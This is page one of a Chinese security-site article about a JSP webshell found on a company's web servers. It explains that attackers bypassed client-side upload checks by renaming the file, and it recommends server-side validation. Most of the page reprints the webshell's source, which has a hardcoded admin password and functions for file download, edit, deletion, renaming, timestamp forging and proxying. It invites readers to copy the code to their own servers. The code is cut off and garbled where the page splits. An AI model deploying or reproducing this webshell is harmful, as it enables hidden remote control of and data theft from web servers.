欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

揭露黑客是如何通过上传一个jsp页面控制和攻击你web站点的

来源:本站整理 作者:佚名 时间:2015-03-01 TAG: 我要投稿

 前一段时间公司请业内做安全的一家公司给企业的信息化系统做了一次安全扫描,发现了很多安全隐患及系统漏洞。

在做安全加固及补丁修补时笔者在web服务器上(包含unix和windows平台)发现了一个名叫shell.jsp的jsp页面,于是把他拿下来放在测试服务器运行发现原来这个jsp具备在windows和unix平台上通过web界面控制你的整个web容器甚至你的主机。
但是我们已经通过js控制这种格式的文件上传他们怎么又传了上去了?通过查阅相关文档了解到原来他们是通过将该该jsp页面伪装成白名单中的允许上传的文件格式绕过检查脚本后再改回成jsp成功上传到服务器最终达到完全控制服务器的。
所以笔者强烈建议企业关键系统所有的安全检查工作应在服务器端完成,万不得以不要再客户端完成该工作。
现分享一下该jsp页面的代码,感兴趣的同学可以将代码copy到你的服务器并保存为jsp样式即可。
参考代码:
该页面的登录账号:admin 密码:feng123
<%@page import="java.util.*,java.io.*,java.sql.*,java.util.zip.*,java.lang.reflect.*,java.net.*,javax.servlet.jsp.*"%>

<%@page contentType="text/html;charset=GBK"%>

<%@page pageEncoding="gb2312"%>

<%!

final String APP_NAME="MyBlog jsp Manage-System 1.0";

int portListen=5000;//set the httpproxy port

boolean openHttpProxy=false;//set the httpproxy load-on-start-up

%>

<%

    session.setMaxInactiveInterval(6000);

    final String WEB_SITE=folderReplace(application.getRealPath("/"));

    final String URL=request.getRequestURI();

    if(session.getAttribute("ID")==null){

        // the user and pass  field  

        String username="admin";

        String password="feng123";

        // the user and pass  field  

        if(request.getParameter("LName")!=null&&request.getParameter("LPass")!=null&&request.getParameter("LName").equals(username)&&request.getParameter("LPass").equals(password)){

            session.setAttribute("ID","1");

            response.sendRedirect(URL);

        }else{

            out.println("<center style=font-size:12px><br><br>"+APP_NAME+"<br><br>" +

                       "<form name=login method=post>username:<input name=LName type=text size=15><br>" +

                    "password:<input name=LPass type=password size=15><br><input type=submit value=Login></form></center>");

        }

        return;

    }

%>

<html>

<head>

<meta http-equiv=Content-Type content="text/html; charset=gb2312">

<title><%=APP_NAME%></title>

<style type="text/css">

 body,td{font-size: 12px;}

table{T:expression(this.border='1',this.borderColorLight='Black',this.borderColorDark='White');}

 input,select{font-size:12px;}

 body{margin-left:0px;margin-top:0px;margin-right:0px;margin-bottom:0px;}

 td{white-space:nowrap;}

 a{color:black;text-decoration:none;}

</style>

<script>

    Top=top.address;

    function downFile(file){

        Top.Filename.value=file;

        Top.Action.value="D";

        Top.submit();

    }

    function checkUrl(){

        top.address.Action.value="F";

        top.address.submit();

    }

    function editFile(file){

        top.address.Action.value="E";

        top.address.Filename.value=file;

        top.address.submit();

    }

    function delFile(file){

        top.address.Action.value="R";

        top.address.Filename.value=file;

        top.address.submit();

    }

    function reName(file){

        if((Rname=prompt("rename to?",file))!=""&&Rname!=null){

            Top.Action.value="N";

            top.address.Filename.value=file+"|"+Rname;

            Top.submit();

        }

    }

    function copyFile(file){

        if((Rname=prompt("copy to?",file))!=""&&Rname!=null){

            Top.Action.value="P";

            top.address.Filename.value=file+"|"+Rname;

            Top.submit();

        }

    }

    function setDate(file){

        document.write("Change date:<br><form method='post' action='?Action=dateChange'>");

        document.write("filename:<input name='Filename' type='text' size=60 readonly value='"+file+"'><br>");

        document.write("Year:<select name='year'>");

        for(i=1970;i<=2050;i++){

            document.write("<option value="+i+">"+i+"</option>");

        }

        document.write("</select>");

        document.write("Month:<select name='month'>");

        for(i=1;i<=12;i++){

            document.write("<option value="+i+">"+i+"</option>");

        }

        document.write("</select>");

        document.write("Day:<select name='day'>");

        for(i=1;i<=31;i++){

            document.write("<option value="+i+">"+i+"</option>");

        }

        document.write("</select>");

        document.write("<input name='Action' type='button' :systemTools(out);break;

            default:

                mainForm(WEB_SITE,out);break;

        }

    }catch(Exception e){

    }

    out.print("</body></html>");

    out.close();

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载